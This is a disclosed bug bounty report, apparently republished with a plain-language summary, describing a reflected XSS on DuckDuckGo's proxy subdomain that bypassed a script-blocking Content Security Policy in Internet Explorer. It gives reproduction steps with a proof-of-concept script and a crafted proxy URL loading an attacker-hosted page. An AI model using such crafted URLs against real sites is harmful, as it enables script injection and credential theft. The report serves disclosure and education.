XSS in Subdomain of DuckDuckGo
The proxy subdomain of DuckDuckGo had a Content Security Policy that blocked scripts, but Internet Explorer did not enforce it. An attacker could host a malicious page and trick a victim using IE into loading it through the proxy, causing script execution in the DuckDuckGo domain.
- Triaged in 7 days
- Fixed in 5 months
- Disclosed after 5.5 years
Hi Team,
I would like to report CSP bypass and full fledged reflected xss on proxy.duckduckgo.com.
#Description:
On proxy domain to avoid script executions there is presence of CSP header script-src which set to none. In order to exploit this issue a remote attacker need to submit a valid nonce generated by Content Security Policy. But due to the fact that IE still doesn't support this header as stated in https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#Browser_compatibility. So it is possible to bypass this restriction.
#Steps to Reproduce:
- Host following script in your domain.
<html><script>alert(document.domain);</script></html>
- Share the following URL with victim.
https://proxy.duckduckgo.com/iur/?f=1&image_host=http://attackerdomain.com/xsspage
- Once if victim open the link in IE then he/she can see the script will get executed in the context of duckduckgo domain.
#Browser Tested on:
- IE 11.192 - We can see script execution.
- Microsoft Edge 41.16299.15.0 -
CSP14321: Resource violated directive 'script-src 'none'' in Content-Security-Policy: inline script, in https://proxy.duckduckgo.com/iur/?f=1&image_host=http://138.197.172.108/index.html at line 1 column 8. Resource will be blocked. - Mozilla Firefox 52 - ```Content Security Policy: The page’s settings blocked the loading of a resource at self (“script-src 'none'”). Source:
alert(document.domain);4. Google Chrome Version 68.0.3440.106 (Official Build) (64-bit) -Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-LNFMfdZ+OpsZfPTkBYm2BOeU5h3C3lAC8Em3x/Rc9mA='), or a nonce ('nonce-...') is required to enable inline execution.```
Impact
- Attacker can host a spoofed login page and can sniff all credentials.
- It's possible to dos victims browser
Attachments


Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the proxy endpoint reflected user-controlled content without sanitisation, and the CSP that would have blocked script execution was not enforced by Internet Explorer.
Impact
An attacker could host a spoofed login page to steal credentials and could cause a denial of service on the victim's browser, but only when the victim uses Internet Explorer; other tested browsers blocked the script via CSP.
What the attacker needed
Victim uses Internet Explorer; victim clicks a crafted link
How it was found
- Host a page containing a script on your own domain.
- Share a crafted proxy URL that points to the hosted page with the victim.
- The victim opens the link in Internet Explorer, and the script runs in the DuckDuckGo domain context.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A Content Security Policy (CSP) is a rule that tells browsers which scripts are allowed to run on a page. The proxy site set a strict rule to block all scripts, but Internet Explorer ignored that rule. So an attacker could make a link that, when opened in IE, ran harmful code as if it came from DuckDuckGo.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.